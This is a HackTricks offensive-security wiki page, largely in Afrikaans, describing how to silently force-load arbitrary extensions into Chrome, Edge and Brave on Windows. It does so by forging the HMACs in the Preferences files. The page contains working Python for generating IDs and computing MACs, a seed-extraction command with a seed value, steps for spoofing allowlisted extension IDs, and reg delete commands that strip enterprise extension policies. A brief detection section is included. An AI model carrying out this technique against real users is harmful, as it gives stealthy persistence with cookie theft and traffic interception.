Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 8 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

Sluipende post-exploitation tegniek om arbitrary extensions in Chromium-based browsers on Windows te force-load deur die gebruiker se Preferences/Secure Preferences te wysig en geldige HMACs vir die aangepaste nodes te vervals. Werk teen Chrome/Chromium, Edge, en Brave. Waargeneem dat dit van toepassing is op Chromium 130 tot 139 op die tydstip van publikasie. 'n Eenvoudige disk write primitive in die slagofferprofiel is voldoende om 'n volledig geprivilegieerde extension te volhard sonder command-line flags of gebruiker-opprompte.

Sleutelidee: Chromium stoor per-user extension state in 'n JSON preferences-lĂȘer en beskerm dit met HMAC-SHA256. As jy geldige MACs bereken met die browser se ingebedde seed en dit langs jou ingespuit nodes skryf, aanvaar die browser dit en aktiveer jou extension entry.

Waar extension state lĂȘ (Windows)

  • Nie-domeingekoppelde Chrome-profiel:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (bevat 'n root "super_mac").
  • Domeingekoppelde Chrome-profiel:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Sleutelnodes wat deur Chromium gebruik word:
  • extensions.settings.<extension_id> → ingeslote manifest/metadata vir die extension entry
  • protection.macs.extensions.settings.<extension_id> → HMAC vir daardie JSON blob
  • Chromium ≄134: extensions.ui.developer_mode (boolean) moet teenwoordig en MAC‑gesigneer wees vir unpacked extensions om te aktiveer

Vereenvoudigde skema (illustratief):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

Aantekeninge:

  • Edge/Brave handhaaf soortgelyke strukture. Die protection seed-waarde kan verskil (Edge/Brave is in sommige builds waargeneem om 'n null/ander seed te gebruik).

Uitbreidings-ID's: pad vs sleutel en hoe om dit deterministies te maak

Chromium lei die uitbreidings-ID soos volg af:

  • Gepakte/ondertekende uitbreiding: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
  • Ongpak (geen 'key' in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p

Om 'n stabiele ID oor verskeie hosts te behou, embed 'n vaste base64 DER publieke sleutel in manifest.json onder "key". Die ID sal van hierdie sleutel afgelei word in plaas van van die installasiepad.

Hulp om 'n deterministiese ID en 'n sleutelpaar te genereer:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

Voeg die gegenereerde publieke sleutel by jou manifest.json om die ID te vergrendel:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Vervalsing van Voorkeure-integriteits-MACs (kern-omseiling)

Chromium beskerm voorkeure met HMAC‑SHA256 oor "path" + die geserialiseerde JSON-waarde van elke node. Die HMAC-seed is ingebed in die browser se resources.pak en was steeds geldig tot en met Chromium 139.

Onttrek die seed met GRIT pak_util en lokaliseer die seed-container (file id 146 in getoetste builds):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

Bereken MACs (heksadesimaal in hoofletters) soos:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

Minimale Python-voorbeeld:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Skryf die waardes onder:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≄134)

Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.

Implementasietips

  • Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
  • Ensure extensions.ui.developer_mode exists and is signed on Chromium ≄134, or your unpacked entry won’t activate.

End‑to‑end silent load flow (Windows)

  1. Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
  2. Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
  3. Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≄134)
  4. Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges

Omseil van enterprise-beheer

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
  2. Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
  3. Set that key as manifest.key in your modified extension to reproduce the same ID
  4. Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
  • Extension stomping (ID collision precedence)

  • If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*

  • With admin rights, delete/modify policy keys before writing your entries to avoid blocks:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

Luidrugtige terugval: command-line laai

Vanaf Chromium ≄137 vereis --load-extension ook dat jy die volgende deurgee:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is meer onopvallend.

Related flags and more cross‑platform tricks are discussed here:

macOS Chromium Injection

Operational impact

Sodra dit aanvaar is, voer die extension uit met sy verklaarde permissies, wat DOM-toegang, request interception/redirects, cookie/storage-toegang en screenshot capture moontlik maak—dit beteken effektiewe in‑browser code‑uitvoering en volhoubare gebruikersprofiel‑persistensie. Afstandsimplementering oor SMB of ander kanale is eenvoudig omdat aktivering data‑gedrewe via Preferences geskied.

Detection and hardening

  • Monitor vir nie‑Chromium‑prosesse wat in Preferences/Secure Preferences skryf, veral nuwe nodes onder extensions.settings wat saamval met protection.macs entries
  • Waarsku oor onverwagte omskakeling van extensions.ui.developer_mode en oor HMAC‑geldige maar nie‑goedgekeurde extension entries
  • Kontroleer HKCU/HKLM Software\Policies vir knoeiing; dwing policies af via device management/Chrome Browser Cloud Management
  • Gee voorkeur aan forced‑install vanaf die store met geverifieerde publishers eerder as allowlists wat slegs op extension ID pas

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks